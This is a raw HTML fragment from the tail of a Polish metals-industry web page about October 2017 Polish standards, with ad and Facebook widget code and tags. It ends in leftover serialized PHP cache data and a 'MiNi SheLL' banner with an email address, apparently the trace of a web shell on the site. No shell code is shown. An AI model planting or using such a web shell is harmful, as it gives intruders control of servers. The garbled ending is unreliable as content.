	na podstawie ogólnodostępnych informacji publikowanych przez PKN</p>                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1" itemprop="author" itemscope itemtype="https://schema.org/Person">
                        <strong>Źródło:</strong> 
                        <span itemprop="name">
                                                            <a href="http://www.pkn.pl" target="_blank">
                                                    
                            Polski Komitet Normalizacyjny                                                        
                                                            </a>
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Polski+Komitet+Normalizacyjny" class="label label-default">Polski Komitet Normalizacyjny</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Polskie+Normy" class="label label-default">Polskie Normy</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=zestawienie" class="label label-default">zestawienie</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=październik+2017" class="label label-default">październik 2017</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=branża+metalowa" class="label label-default">branża metalowa</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.metale.org/artykuly/szczegoly/15618_polskie-normy-dotyczace-branzy-metalowej-pazdziernik-2017" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_15618";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"46e6d68903689333e212bb6da2e405ea";s:21:"0.54535800 1746581095";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com